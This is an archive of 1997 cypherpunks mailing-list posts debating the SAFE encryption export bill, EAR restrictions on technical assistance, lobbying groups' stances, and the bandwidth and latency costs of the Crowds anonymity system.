is a mailing list, please Cc: me on replies. Thanks.) From lucifer at dhp.com Thu May 1 22:46:27 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Fri, 2 May 1997 13:46:27 +0800 Subject: Bombs Away, from The Netly News Network Message-ID: <199705020527.BAA24411@dhp.com> Declan McCullagh wrote: > Internet fear-mongering is back in vogue inside > the White House. The Clinton administration escalated > its assault on the Net this week, warning that it > provides bomb-making recipes to anyone "with a modem" > and proposing a new law to restrict such information. "The answer to noise is more noise." - Timothy McVeigh From tcmay at got.net Thu May 1 22:48:55 1997 From: tcmay at got.net (Tim May) Date: Fri, 2 May 1997 13:48:55 +0800 Subject: "restrict technical assistance by U.S. persons with respect toencryption" In-Reply-To: Message-ID: At 3:09 PM -0800 5/1/97, Anil Das wrote: >On May 1, 11:40am, Tim May wrote: >> >> I'm no expert in these areas, but doesn't this consitute "providing hooks" >> for strong crypto? The EARs say that a "hook" for inserting crypto modules >> once a product is exported are essentially as bad as providing the crypto >> before the product is exported. > > If the EAR says that, I would like to have a reference to >the section, please, so I can look it up at jya.com. I am not >saying it is not there, just that I haven't seen it, and I would >like to see what the exact language is. I hate it when people ask me to go dig up stuff...as I often end up wasting my time doing it, instead of telling them to use their own search tools. (It might be different if details like this were at my fingertips, sort of like someone asking, "Is it true that Darwin wrote a book? Anyone know the name of it?" As the export laws are long and complicated, finding things is not easy.) But it may have been worth it. While stupidly searching the EARs with my tools, I found this little gem: PART 730--[AMENDED] 8. Section 730.5 is amended by adding a new sentence to the end of paragraph (d) to read as follows: Sec. 730.5 Coverage of more than exports. * * * * * (d) * * * The EAR also restrict technical assistance by U.S. persons with respect to encryption commodities or software. [end quote] This from http://jya.com/bxa123096.txt I'm not sure what it means for Sameer and C2net, but were I him I'd have some experts in this area look into whether _anything_ being done at C2net could be construed as providing technical assistance. And I seem to recall some saying these kinds of EAR restrictions were linked to nuclear weaons...in fact, just today Lucky wrote: "I you read 744.6 EAR you will find the the provisions cited below only apply to nukes and missiles, not crypto." I'm not sure what 744.6 is all about, but the section quoted above pretty clearly says that providing technical assistance with respect to crypto is covered. Meanwhile, I didn't find the term "hook" mentioned in this particular URL. But there have been many discussions of this, vis-a-vis the situation of removing crypto from a product to get export approval and having a method of adding crypto abroad. "Insert crypto hooks here" is treated as if the program had crypto all along. Anil, you'll have to do the research on where in the vast amount of stuff on the EARs, the Munitions List, the CCL, etc. this is spelled out. I'm done for the evening. --Tim May, who makes a May Day promise to himself not be gulled into doing clerking for others There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Thu May 1 22:50:58 1997 From: tcmay at got.net (Tim May) Date: Fri, 2 May 1997 13:50:58 +0800 Subject: Response to Alan Davidson Message-ID: I posted this article to the newsgroups alt.cypherpunks, talk.politics.crypto, comp.org.eff.talk, and copied this list on it from my newsreader, but the article hasn't shown up here on the list. Sometimes the newsreader/spooler/whateer runs into snags, so here it is, manually sent: At 1:56 PM -0800 5/1/97, Alan Davidson wrote to the Cypherpunks list: >SAFE would legalize the export (to all but a few countries such as Iran, N. >Korea, and Cuba) of non-escrow encryption *of unlimited strength* that is >designed for the mass market or is in the public domain, i.e.: > > "(i) that is generally available, as is, and is > designed for installation by the purchaser; or > > "(ii) that is in the public domain for which > copyright or other protection is not available > under title 17, United States Code, or that is > available to the public because it is generally > accessible to the interested public in any form;" > (See also Footnote below) But of course this is not the complete quote. Here is the material above, plus the surrounding context (and what I think are some "gotchas"): [[My comments are in brackets like this.]] "(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be required, except pursuant to the Trading With the Enemy Act or the International Emergency Economic Powers Act (but only to the extent that the authority of such Act is not exercised to extend controls imposed under this Act), for the export or reexport of-- [[And what limitations on export does the International Emergency Economic Powers Act impose? This is a murky and complicated area of the law, and our own Professor Froomkin, in his excellent "It Came from Planet Clipper" review of Clipper, noted: "The only authorities noted in Executive Order 12,924 are the President's inherent constitutional authority and the International Emergency Economic Powers Act (IEEPA).{224} Assuming that the President does not have inherent constitutional authority to block exports in peacetime, the authority for this action is IEEPA, which by its own terms applies to "any unusual and extraordinary threat, which has its source in whole or substantial part outside the Untied States ... if the President declares a national emergency with respect to such threat."{225} While Executive Order 12,924 refers to the danger of "unrestricted access of foreign parties to U.S. goods, technology and technical data," it seems that the real "unusual and extraordinary" threat consists of Congress's failure to renew the EAA. Indeed, the President's most recent renewal of the state of emergency admits that the state of emergency must be extended "[b]ecause the Export Administration Act has not been renewed by the Congress."{226}" [[I take this quote to mean that the EEPA grants the Pres. authority to limit exports. Thus, the "except pursuant to" provision could with the stroke of a pen impose export limits on unbreakable crypto, even if the later provisions, which I'll get to in a moment, are not the clauses invoked to limit exports.]] "(A) any software, including software with encryption capabilities -- "(i) that is generally available, as is, and is designed for installation by the purchaser; or "(ii) that is in the public domain for which copyright or other protection is not available under title 17, United States Code, or that is available to the public because it is generally accessible to the interested public in any form; or "(B) any computing device solely because it incorporates or employs in any form software (including software with encryption capabilities) exempted from any - requirement for a validated license under subparagraph (A). [[The section above does seem to say that, unless EEPA is invoked, crypto software is exportable. However, the next section states the following:]] "(3) SOFTWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary shall authorize the export or reexport of software with encryption capabilities for nonmilitary end-uses in any country to which exports of software of similar capability are permitted for use by financial institutions not controlled in fact by United States persons, unless there is substantial evidence that such software will be -- "(A) diverted to a military end-use or an end-use supporting international terrorism; [[So, if it is determined that PGP is being used by the Iraqi regime--as some sources tell me is the case today!--does this not encompass "diverted to a military end-use"? If it is obvious that Irish members of the IRA or Sinn Fein are buying copies of "Mil-Grade PGP" at the Egghead in Boston and shipping them back to Dublin on cargo pallets, will this satisfy the "supporting international terrorism" clause? If the 'substantial evidence that such software will be" part means that such exports are blocked only if the exporter makes it clear that he will be exporting to the Iraqi High Command, which he would be foolish to do, then this is an Alice in Wonderland law. I surmise that the intended interpretation is to block software with substantially military uses, even if not the primary uses. I could be wrong, but the confluence of the EEPA and the "diverted to a military" and "supporting international terrorism" bits lead me to interpret the bill as saying military-grade PGP will be limited for export even to countries which are not on the "hot list" of Trading with the Enemy nations.]] "(B) modified for military or terrorist end-use; or [[And what does this mean? If I widely advocate and encourage use of PGP 3.0 as a tool for liberation of oppressed peoples under the bootheel of the American fascist regime, and show how PGP 3.0 is a tool for blowing up fascists and their lackeys, and there is even evidence that terrorist groups are indeed adopting PGP 3.0 in droves, is this clause then triggered? (Or must I actually purchase a software export license from PGP, Inc., alter the code to read "Pretty Good Terrorist Tool," stamp my boxes "Meant for International Terrorist Use," apply for an export license, and only then will the clause be triggered? Ha. The clear, to mek, interpretation of this language is that the SecDef and other such persons will notify the Pres., or Commerce, etc., that some particular program or product is easily capable of being used against putative American interests, as has long been the case with so many other export-limited products. (And the limits are not, Alan's implications to the contrary, limited to the "Hot List" of terrorist nations. The COCOM agreements, the CCL, and now the Wasenaar agreements, clearly are a very broad list of products. Hell, the Japanese are now citing the Wasenaar as the reason the RSA chip will not be given an export license! The real reason, looking deeper, is because David Aaron, Stuart Baker, and the other folks in the NSA orbit almost certainly asked them in very strong terms not to make the RSA chip available for products.)]] >SAFE's export control relief is not unlimited. The bill does not allow >export to Iran, Iraq, Cuba, or N. Korea (that's what the "Trading With The >Enemy" provision is about); Congress is not likely to pass a law saying you >can export strong crypto to Saddam Hussein. Relief is also limited for And what of the EEPA provisions? Will the Wasenaar list simply cease to exist? My recollection, refreshed by skimming the Froomkin article a few minutes ago, is that the EEPA, semi-perpetually in effect, is the reason products are already on the list of controlled exports. As Froomkin writes, "Given, however, that IEEPA provides the current authority for the continuance of the EAA regime, and that the Clinton Administration proposes to move DES, however temporarily, off the USML and onto the CCL, a creation of the EAA,{229}..." On to another topic: >Contrary to reports, the SAFE bill does not say: "Use a cipher, go to >prison." It does say: "Use cryptography TO COMMIT A CRIME, go to prison": This is being disingenuous. I stated very clearly, in two places very prominently, that the chilling effect of the criminalization section is analogous to the "use a gun, go to prison" language (and billboards) used in the War on Crime. I'd've thought that analogies are a basic skill, not to mention a necessary skill for doing well on the Verbal section of the SATs. To wit: "Use a gun, go to prison" is to "Use a gun when committing a crime, go to prison" as "Use a cipher, go to prison" is to "Use a cipher when committing a crime, go to prison." The point is that such criminalization of crypto will have a chilling effect. In fact, why not support another modification of the First Amendment? (The crypto modification being one involving speech.) Let's extend it to religion: "Religious beliefs are not allowed, but the holding of certain religious beliefs when a crime is committed may in itself be criminal." So, if someone bombs and abortion clinic, surely a crime by our laws, and is found to be a Roman Catholic, this could add 5 years to their sentence. This is what the criminalization of crypto is comparable to. Or in the precise language of the SAFE bill: > 2805. Unlawful use of religious beliefs in furtherance of a criminal act > > "Any person who willfully uses religious beliefs in furtherance > of the commission of a criminal offense for which the > person may be prosecuted in a court of competent jurisdiction... > [may be imprisoned or fined]" >CDT opposes both these provisions because they are unnecessary and could >chill the use of encryption (especially by self-confessed felons like Tim >May!). But they are not as sweeping as some on this list have said. Not as sweeping? Where is this "not as sweeping" spelled out? The SAFE text is itself very short, so I don't see where this comes from. Is it from the infamous "assurances" which are so often given verbally, but never in ironclad written form attached as part of the bill? Is it an "understanding" that this criminalization clause will actually not be applied except certain classes of criminals? (Who are they, by the way, that _would_ have the law applied to them?) I take laws to mean what they say. Al Capone was gotten on income tax evasion. If the law says using crypto in connection with a crime can result in a 5-year sentence for a first offense, etc., I take the law to mean just that. If that's _not_ what was intended, then change the language!!!! Meanwhile, the crimininalization of crypto use in connection with any of the ever-increasing array of prosecutable offenses is reason enough to reject SAFE. That PGP, Inc. or Netscape has an easier time exporting browers to foreigners is no reason to sacrifice basic liberties. >Passage of the SAFE Bill would put strong security tools in the hands of >many more people. That's why CDT supports SAFE, and why we think people >who care about privacy and security online should support it too. Strong crypto, with no criminal penalties attached, is about to become widely available in the U.S. with the incorporation of S/MIME into Netscape's and Microsoft's products. Netscape has already said, and I presume MS has or will too, that they will if necessary have multiple versions of their products, with a "policy statement" enforcement mechanism for foreigners. So, what does SAFE buy us? There are no crypto laws in the U.S., and crypto is avialable, and will soon be built into tens of millions of browsers. Looks like we're getting what we need. Why give up basic liberties so that Netscape can ship just one version? A bad deal, I say. "Use a cipher, go to prison." --Tim May -- There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From kent at songbird.com Thu May 1 22:55:33 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 2 May 1997 13:55:33 +0800 Subject: Rejecting Dialog with Government Vermin In-Reply-To: <199705010328.UAA19126@mail.pacifier.com> Message-ID: <19970501224320.48220@bywater.songbird.com> On Wed, Apr 30, 1997 at 08:24:27PM -0800, Jim Bell wrote: > At 23:07 4/29/97 -0700, Kent Crispin wrote: > > >3) There is no serious flaw -- the current government isn't as > >bad as we claim. Or, put another way, the evils we see are a function > >of size of government, and size of government is more a function of > >population than anything else -- the larger the population, the > >larger the government. > > > >I think that strong arguments could be made for any of these, though #3 > >would be shouted down in this forum. > > I disagree that a "strong argument" could be made for item #3. Sure, some > people would strenuously ATTEMPT to make that argument, but they would fail > miserably. > > I feel confident that a statistical analysis of various countries' > governments would reveal a wide scatter in the relationship between > population and government size. One of the main factors in this scatter is > simply the amount that government has decided to butt into activities that > could (and should) be privatized. Another is the amount that the > government steals from one group in order to reliably receive the votes of > some other group. > Population size would end up being a very poor determinant of government > size. Yes, there would be scatter, but it is not important. Population size is *obviously* a strong determinant of government size. Clearly, China (population 1,000,000,000) is going to have a *far* larger government than Dominica (population 100,000). This difference far overshadows the fact that governments for similar sized countries may vary considerably in size -- Dominica will *never* have a government larger than China. You are thinking of the *ratio* of population to government size. That is a factor, but, relatively, an inconsequential one. Country populations vary by orders of magnitude, whereas the scatter you describe might be by one order of magnitude. So, having clearly established that larger countries will on balance have larger governments, we can then just look at organizational dynamics. *Any* large organization requires more infrastructure to function. *Any* large organization will develop bureaucracy. This is true for governments, this is true for businesses, this is true for schools, this is true for militias. A big city police department will have many different precints, with multiple layers of management, a small town will have a chief of police and a few deputies. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From lucifer at dhp.com Thu May 1 23:00:24 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Fri, 2 May 1997 14:00:24 +0800 Subject: Random numbers from the '60's... Message-ID: <199705020545.BAA25535@dhp.com> Bill Stewart wrote: > >Who needs a camera and a lava lamp when soundblaster cards with noisy > >microphone preamps are nearly universal? > > The Lava Lamp is nice and visual, though. > On the other hand, isn't the noise from blowing on a microphone chaotic, > due to various turbulence effects? It's definitely prior art, > as is hashing the physical-world input data. Just give me a microphone and a can of beans, and call me "Mr. Random" (inventor of the 'corned beef' hash system). FartMonger From jimbell at pacifier.com Fri May 2 01:16:43 1997 From: jimbell at pacifier.com (Jim Bell) Date: Fri, 2 May 1997 16:16:43 +0800 Subject: SAFE Bill is a Good Thing--"Crypto For The Masses" Message-ID: <199705020738.AAA02381@mail.pacifier.com> At 22:09 5/01/97 -0500, Mac Norton wrote: >On Thu, 1 May 1997, Alan Davidson wrote: >> 2. CDT Does Not Support The Criminal Provision in SAFE > >I don't get it. CDT loudly supports the bill. The bill >contains the criminal provision. I don't get it. Do you? >MacN Ditto cubed. It's so easy to say, "We oppose it with the criminal provision. We support it without the criminal provision." Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Fri May 2 01:21:24 1997 From: jimbell at pacifier.com (Jim Bell) Date: Fri, 2 May 1997 16:21:24 +0800 Subject: Rejecting Dialog with Government Vermin Message-ID: <199705020738.AAA02377@mail.pacifier.com> At 22:43 5/01/97 -0700, Kent Crispin wrote: >On Wed, Apr 30, 1997 at 08:24:27PM -0800, Jim Bell wrote: >> I feel confident that a statistical analysis of various countries' >> governments would reveal a wide scatter in the relationship between >> population and government size. One of the main factors in this scatter is >> simply the amount that government has decided to butt into activities that >> could (and should) be privatized. Another is the amount that the >> government steals from one group in order to reliably receive the votes of >> some other group. > >> Population size would end up being a very poor determinant of government >> size. > >Yes, there would be scatter, but it is not important. The only reason "it is not important" is that this scatter is what demolishes your view of the world. > Population size >is *obviously* a strong determinant of government size. But probably not even close to the largest determinant. >So, having clearly established that larger countries will on balance >have larger governments, we can then just look at organizational >dynamics. *Any* large organization requires more infrastructure to >function. *Any* large organization will develop bureaucracy. This >is true for governments, this is true for businesses, this is true >for schools, this is true for militias. A big city police department >will have many different precints, with multiple layers of >management, a small town will have a chief of police and a few >deputies. But NONE of this is truly needed. I have a solution to that problem. Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Fri May 2 01:26:18 1997 From: jimbell at pacifier.com (Jim Bell) Date: Fri, 2 May 1997 16:26:18 +0800 Subject: SAFE Bill discussion Message-ID: <199705020755.AAA03527@mail.pacifier.com> At 21:12 5/01/97 -0400, Shabbir J. Safdar wrote: >The Administration hates this bill, because it threatens their ability to >roll out Key Recovery. They've said as much in the letter Declan forwarded: > > "The bill could be read as prohibiting the United States government > from using appropriate incentives to support a key management > infrastructure and KEY RECOVERY." [emphasis added] > >Do you think that if this bill helped the Administration, that they'd be >out there urging the subcommittee chairman to stop it? I think not. Then you are thinking FAR too simplistically and your logic is poor. The Administration thugs realized long ago that they were (correctly) viewed as a "reverse barometer": Freedom and privacy-loving people saw, generally, that if something was good the thugs would often oppose it, and if it was bad the thugs would often support it. However, the Maladministration is getting desperate, because they have no toehold in the regulation of domestic encryption, and they've decided that it's vitally important to develop such a system. They know, however, that their opponents are going to be watching for exactly such a development, and they know that it isn't going to come cheap. Perhaps they realize that the only way to try to sneak it through Congress is to pretend to oppose it for "plausible" reasons, hoping that it will collect a little non-thinking support from the people who blindly still view the thugs as a reverse barometer 100% of the time. Eventually, if the bill passes, they can sign it, concealing their glee at their ability to sneak in an atrocious provision despite the watchful eye of many of us. >Can you consider, perhaps, for a second, that critics of SAFE are being >unreasonable? I would think so, as critics of SAFE include the Clinton >Administration. Is that the kind of company that cypherpunks keep? Further poor "logic." There are obviously going to be incorrect reasons for opposing SAFE, but there may also be correct reasons. The fact that the thugs claim to oppose SAFE, although for the incorrect reasons simply shows how wrong they are. Jim Bell jimbell at pacifier.com From gbroiles at netbox.com Fri May 2 01:30:31 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Fri, 2 May 1997 16:30:31 +0800 Subject: SAFE Bill discussion In-Reply-To: <199705011648.MAA29162@arutam.inch.com> Message-ID: <3.0.1.32.19970502011449.027f8298@pop.sirius.com> At 09:12 PM 5/1/97 -0400, Shabbir J. Safdar wrote: >The Administration hates this bill, because it threatens their ability to >roll out Key Recovery. [...] >Do you think that if this bill helped the Administration, that they'd be >out there urging the subcommittee chairman to stop it? I think not. Sure they would - it's a standard negotiating tactic. Ask for twice what you need, then grudgingly accept half of what you asked for, whining and complaining about how your needs aren't being met, how badly you're being screwed, etc. Haven't you ever bought a car? Do you think that the Administration will ever say "We've already eliminated enough freedom and privacy, we don't need more laws to serve the 'legitimate needs of law enforcement'"? I think not. >I'm also puzzled by the fact that CDT is being criticized pretty much >solely, even though the entire Internet Privacy Coalition, and several >other groups all wrote a letter of support of the bill with only a >criticism of one provision. I think this is occurring for two reasons: 1. The people at CDT are closely identified with the stance that the EFF took on the Digital Telephony bill, which is strikingly similar to the coalition's approach to SAFE - e.g., cooperate with/support legislation that's harmful, in hopes that by doing so you'll be able to negotiate away some of the harm .. "We won't do any better than this, so we might as well make the best of it." Digital Telephony is not ancient history, and it hasn't been forgotten. I believe that the people who brokered that compromise are essentially good people, who had good motives and 99% pure hearts .. but the Digital Telephony bill is a goddamned embarassment to people who care about privacy and the Fourth Amendment. Now the FBI wants the ability to implement SIXTY THOUSAND SIMULTANEOUS WIRETAPS. What sort of macabre dance do you think they'll be doing with the bones of SAFE in a few more years? 2. It strikes me as unlikely that all of the groups mentioned really sat down and hashed all of this out - my hunch is that one or two of the groups wrote up an analysis and a proposed letter, and asked the other groups to sign on. A likely suspect for the/a group who did the behind-the-scenes work is CDT. >As far as I can tell, everyone criticizing the bill either thinks that: > > a) CDT actually runs all these groups behind the scenes, or You're not exactly likely to pick up respect or credibility by ascribing ridiculous or straw-man positions to people who disagree with you. I haven't seen anyone (not even the resident loons, and usually someone can be counted on to pipe up and suggest the existence of a massive alphabet-soup conspiracy) suggest that "CDT actually runs all these groups ..". (Don't bother, Toto - I'll do it for you. "C2Net actually runs all these groups behind the scenes, as anyone who's bothered to inspect the message headers while drinking a bottle of Scotch can tell you." And, of course, Jim Bell has a solution for that.) >Can you consider, perhaps, for a second, that critics of SAFE are being >unreasonable? I would think so, as critics of SAFE include the Clinton >Administration. Is that the kind of company that cypherpunks keep? If this is the caliber and depth of reasoning that you bring to bear on other issues, it's a miracle that you get anything done at all. Some critics of SAFE are being unreasonable. Some are not being unreasonable. >Here's a great excerpt from the Internet Privacy Coalition letter: > > The pending bill provides a positive framework for the reforms that are > long overdue in this critical area. It makes clear that the sale or use >of > encryption, a vital technique to promote network security and individual > privacy, should not be restricted in the United States. This is the view > widely shared by users of the Internet and the computer and communications > industry. It was also a central recommendation of the > report of the National Research Council last year. > >Looks like widespread support from people who study this issue for living. >I'm glad to be counted among them. If SAFE (and ECPA II and ProCODE) limited themselves to the "reforms that are long overdue in this critical area" (export control), you'd probably find a lot more support among cypherpunks for them. I'm beginning to think that the focus on the economic aspects of crypto export control has been a mistake (cf. "export jobs, not crypto" in my .signature) - because what we're seeing is corporations working out deals with the government, and privacy and individual interests are getting screwed. From my perspective, it was an attempt to recast the crypto debate in terms that make sense to Congress and policy interests - but what we've ended up with is a debate about how we can help enormous domestic software companies compete in global markets, not a debate about the relationship between individuals and the state, or about privacy and speech as fundamental rights protected by cryptography. I guess the current thinking is that privacy for humans will come about through a trickle-down effect, that strong crypto will be deployed on a large scale because it'll be quickly built into lots of software .. but I doubt it. Big software companies don't give a fuck if they're selling GAK crypto or weak crypto or strong crypto, as long as they're selling it. (the people inside may care, but they're unlikely to be or stay in positions where their opinions matter.) Which is why cypherpunks should write code, and not wait for Microscape to do it for them, nor for legislators to make it pleasant for them to do so. If SAFE is the best we can get from Congress (and people who should know seem to think it is), we can't expect Congress to save us from the executive branch. (The executive branch was working on this stuff before anyone outside of Arkansas had ever heard of Bill Clinton, and they'll probably still be flogging it in four more years. It's useful to hold Clinton responsible for what he's done, but it's also useful to remember that this isn't an issue that's going to go away because we elect a different Demopublican.) -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From sethf at MIT.EDU Fri May 2 02:10:26 1997 From: sethf at MIT.EDU (Seth Finkelstein) Date: Fri, 2 May 1997 17:10:26 +0800 Subject: SAFE Bill is a Good Thing--"Crypto For The Masses" Message-ID: <9705020808.AA18096@frumious-bandersnatch.MIT.EDU> >>On Thu, 1 May 1997, Alan Davidson wrote: >> 2. CDT Does Not Support The Criminal Provision in SAFE >At 22:09 5/01/97 -0500, Mac Norton wrote: >I don't get it. CDT loudly supports the bill. The bill >contains the criminal provision. I don't get it. Do you? I keep having bad flashbacks to Digital Telephony, and pre-CDA. Virtually all the lobbying groups would run around saying things like "we support this bill, but oppose this provision". Or convoluted stuff like "We oppose all these bills, but of the measures being considered, we support this one". The pattern is really bothering me. ================ Seth Finkelstein sethf at mit.edu From das at razor.engr.sgi.com Fri May 2 02:13:28 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Fri, 2 May 1997 17:13:28 +0800 Subject: "restrict technical assistance by U.S. persons with respect to encryption" In-Reply-To: Message-ID: <9705020135.ZM29118@razor.engr.sgi.com> Since I am going to quote portions of the EAR and make some comments on it, let me begin by stating that I Am Not A Lawyer, and none of this is to be taken as legal advice, or even accurate. On May 1, 10:18pm, Tim May wrote: > I hate it when people ask me to go dig up stuff...as I often end up wasting > my time doing it, instead of telling them to use their own search tools. I didn't mean for you to do the search, Tim. I have spent some time reading the EAR. For example, by reading the relevant sections of the EAR and correlating it with the Immigration and Naturlization Act, I figured out that it would be illegal for somebody in the US to give me encryption software, though it would be OK for them to give the same code to a certain class of illegal immigrants. During all this, I didn't come accross a section which said that "hooks" or something similiar (used to be known as a DES shaped hole), cannot be exported without a license. I was hoping that some of the lawyers who frequent cypherpunk, whose job it might to understand these regulations would be generous enough to post a pointer. > But it may have been worth it. While stupidly searching the EARs with my > tools, I found this little gem: > Sec. 730.5 Coverage of more than exports. > > * * * * * > (d) * * * The EAR also restrict technical assistance by U.S. > persons with respect to encryption commodities or software. > "Restrict", not prohibit. To atone for my sins, I decided to do some searching myself. This is actually expanded on in 744.9. 736.2 (b)(7)(ii) (general prohibition seven) says: (ii) You may not, without a license from BXA, provide certain technical assistance to foreign persons with respect to encryption items, as described in Sec. 744.9 of the EAR.// And in 744.9. // Sec. 744.9. Restrictions on technical assistance by U.S. persons with respect to encryption items. (a) General prohibition. No U.S. person may, without a license from BXA, provide technical assistance (including training) to foreign persons with the intent to aid a foreign person in the development or manufacture outside the United States of encryption commodities and software that, if of United States origin, would be controlled for ``EI'' reasons under ECCN 5A002 or 5D002. These ECCNs (whatever that means) is in http://jya.com/774-ccl05.htm. 5A002 is for hardware modules that do encryption functions. 5D002 applies to software. I won't quote it here, but from my reading it lists only software designed or modified for certain purposes, such as putting it in a hardware module, for one. The general prohibitions in part 736 does not make any other references to technical assistance, so I would think this is all the restriction that is there, but as I said, IANAL, and I haven't read the whole EAR. > > Anil, you'll have to do the research on where in the vast amount of stuff > on the EARs, the Munitions List, the CCL, etc. this is spelled out. I'm > done for the evening. Good night, Tim. Glad you could find something useful out of all that wasted time, and glad I could do some searcing for you in return. -- Anil Das From aba at dcs.ex.ac.uk Fri May 2 03:17:29 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 2 May 1997 18:17:29 +0800 Subject: SAFE Bill discussion In-Reply-To: Message-ID: <199705020752.IAA00794@server.test.net> Shabbir Safdar writes: > The Administration hates this bill, because it threatens their ability to > roll out Key Recovery. They've said as much in the letter Declan forwarded: > > Do you think that if this bill helped the Administration, that they'd be > out there urging the subcommittee chairman to stop it? I think not. > [...] > You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax > Reform, the Association for Computing Machinery, Computer Professionals for > Social Responsiblity, Eagle Forum, the National Association for Criminal > Defense Lawyers, and PGP Inc all signed this letter. > > Can you consider, perhaps, for a second, that critics of SAFE are being > unreasonable? I would think so, as critics of SAFE include the Clinton > Administration. Is that the kind of company that cypherpunks keep? Those arguing in favour the SAFE bill claim it will make encryption freely exportable. They also claim that as a result of this we will see encryption in mass market software. Both are clearly attractive. The SAFE bill also makes it a crime to use crypto in furtherance of a crime (sentence += 5 years?). The two in combination are problematic: If microsoft products mostly include crypto which is turned on by default, then everyone is using crypto. So if one is unlucky enough to be singled out for government harrassment for whatever "crime", it's just a blanket law which allows the sentence to be increased by 5 years for nearly everyone in a few years. In 10 to 20 years time your car, your mobile phone, your television, your telephone, your brief-case, probably your toaster will have crypto in it (your mobile phone and sat decoder already do). Adding criminalization of use in furtherance of a crime is STUPID. Mobile phones are a good example, they include crypto (at least GSM does, even if it is naff, and only the link to the base station). Say the government designates you as a "criminal", and you use a mobile phone, surely this is using crypto to further a crime? It will make it more difficult for the Feds to tap your line, right? Especially if you are using stolen phone ID cards. Mobile phones are getting cheaper, and more widespread. It's similar to imposing restrictions on other technologies in their early stages, say: "use of automobiles in furtherance of a crime will add 5 years to your sentence." "use of the new telephone service will add 5 years to your sentence" I hope that the coalition of lobbying groups are not supporting SAFE if this criminalization clause is there. If you're going to support it at all, support it on the CONDITION that this is removed. However, messing with politicians is a dangerous hobby, read the fine print real carefully, or you may very well actually be unwittingly helping the enemy. Adam -- Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199705020958.KAA00897@server.test.net> Hal Finney writes: > Adam Back, , writes: > > The disadvantage of crowds is that it won't work to well over a 28.8k > > modem. Browsing the web is slow enough as it is, without having > > traffic make multiple hops through modem users machines. > > Good point. More generally, a path will only be as fast as its slowest > link. I suggested to the authors that the crowds could be segregated > by access speed, so that there could be separate crowd pools for 28.8 > modem users, for people who share connectivity over a limited-speed line, > and for people who have their own direct high-speed link. > > Theoretically, at least for long downloads, passing through multiple > slow links shouldn't slow down the transmission, I'm not sure that this is so. Ascii pic. consider Alice and Bob, without crowds: +----------+ | Internet | +----------+ | 2Mbits +-----+ | ISP | +-----+ 28.8k/ \28.8k / \ +---+ +---+ | A | | B | +---+ +---+ When Alice and Bob are online, consider that they are actually using their bandwidth most of the time. I know I do; if I'm not using it I hang up, with pay per second phone lines, you're likely to. Now add in crowds where traffic from A is going through B, and traffic from B is going through A: +----------+ | Internet | +----------+ | 2Mbits +-----+ | ISP | +-----+ 14.4k for Alice/ \14.4k for Bob 14k for Bob/ \+14.4k for Alice +---+ +---+ | A | | B | +---+ +---+ Now Bob and Alice each have 1/2 the bandwidth they had before. Add more users and longer hops and it gets worse. Of course my claim that Alice uses 100% of her bandwidth is probably an exaggeration. There will be idle times while she is reading. However there will be times when both Alice and Bob are downloading, for multiple users with multiple hops it is likley that there will be more than one user actively downloading at any time. > just increase the latency. I don't have a very clear picture about > how long it would take to snake in and out of a bunch of people's > modem lines en route to the web server. I'm sure it's going to increase the latency too. My ping times are 200ms from the PPP link alone (ie pinging the PPP server machine itself). Add to this that the members of the jondo / crowds pool may not be on the same ISP, and you've got the additional overheads of whatever latency is added by the cumulative latency between each of the hops in the chain. > If the latency does take an intolerable hit, maybe the idea we discussed > for the "keep alive" transmission would work, where all the web page > data gets downloaded with a single request. (I should clarify that I > was not suggesting that this be done all the time by default, but rather > that it be an extension to the http protocol, a different GET request > or a different parameter sent along with the GET.) > Another idea, which loses more anonymity but is still as good as the > Anonymizer, is to run your jondo on your ISP, if that is allowed. Then > other people's paths don't go through your modem, they just get turned > around at the ISP level. A spy at your ISP may be able to find out > where you are browsing, but the average web site won't. This compromise is probably retains a fair amount of anonymity. The ISP probably isn't loggin IP traffic, or incoming or outgoing web proxy (jondo/crowds) traffic, and probably isn't actively attacking your jondo process to see which bits are for you and which are being forwarded. I wonder if you could improve the security of this by trading off against some additional bandwidth consumption for the ISP. Say have split the jondo in half, with two cooperating half-Jondos acting as a single virtual jondo in such a way that someone with root access on one machine but not the other, can't extract any useful information by spying on that half of the jondo. > > The other problem is the scalability of the strong systems like DC > > nets or PipeNet. Bandwidth is still scarce. > > The Crowds people argued that their system automatically scaled, since > you had more jondos ("web remailers") the more people who used it. If > average path length is constant then the anonymous web browsing method > has a greater cost than the regular way, 